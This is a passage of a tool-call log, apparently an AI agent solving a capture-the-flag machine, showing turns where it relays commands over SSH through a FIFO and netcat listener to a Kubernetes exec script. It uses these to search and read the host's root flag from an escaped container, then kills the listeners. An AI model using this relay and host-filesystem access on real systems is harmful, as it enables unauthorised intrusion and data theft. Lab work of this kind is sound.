    drwxr-xr-x 5 root root 4096 Jul 22 21:06 . drwxr-xr-x 1 root root 4096 Jul 22 21:06 .. dr-xr-xr-x 307 root root 0 Jul 22 21:06 proc drwxr-xr-x 23 root root 4096 May 12 15:28 root dr-xr-xr-x 13 root root 0 Jul 22 21:06 sys {“metadata”:{},“status”:“Success”}$

    === 0043_T088_Bash_Find_root.txt_within_host_root.txt ===

    Turn 88 | Tool: Bash

    Time: 21:16:11

    Desc: Find root.txt within /host/root

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “echo ‘python3 /tmp/kube_exec.py “find /host/root -maxdepth 4 -iname root.txt”’ > /tmp/fifo_mcp” sleep 8 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “tail -6 /tmp/nc9879_out.log”

    OUTPUT

    dr-xr-xr-x 307 root root 0 Jul 22 21:06 proc drwxr-xr-x 23 root root 4096 May 12 15:28 root dr-xr-xr-x 13 root root 0 Jul 22 21:06 sys {“metadata”:{},“status”:“Success”}$ python3 /tmp/kube_exec.py “find /host/root -maxdepth 4 -iname root.txt” /host/root/root/root.txt {“metadata”:{},“status”:“Success”}$

    === 0044_T090_Bash_Read_root.txt_flag.txt ===

    Turn 90 | Tool: Bash

    Time: 21:16:22

    Desc: Read root.txt flag

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “echo ‘python3 /tmp/kube_exec.py “cat /host/root/root/root.txt”’ > /tmp/fifo_mcp” sleep 8 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “tail -6 /tmp/nc9879_out.log”

    OUTPUT

    dr-xr-xr-x 13 root root 0 Jul 22 21:06 sys {“metadata”:{},“status”:“Success”}$ python3 /tmp/kube_exec.py “find /host/root -maxdepth 4 -iname root.txt” /host/root/root/root.txt {“metadata”:{},“status”:“Success”}$ python3 /tmp/kube_exec.py “cat /host/root/root/root.txt” {“metadata”:{},“status”:“Success”}$

    === 0045_T093_Bash_Save_root_flag_display_both_flags_clean_up_jump_box_listener.txt ===

    Turn 93 | Tool: Bash

    Time: 21:16:28

    Desc: Save root flag, display both flags, clean up jump box listeners

    COMMAND

    echo "" > /out/solve_out_20260722_210707/root.txt cat /out/solve_out_20260722_210707/user.txt /out/solve_out_20260722_210707/root.txt

    cleanup listeners on jump box

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “pkill -f ‘nc -lvnp 987’ 2>/dev/null; pkill -f ‘tail -f /tmp/fifo_mcp’ 2>/dev/null; pkill -f ‘tail -f /tmp/fifo_ff’ 2>/dev/null; echo cleaned”

    OUTPUT

    Exit code 255


    🏁 Proof of Ownership

    FlagValue
    User<redacted>
    Root<redacted>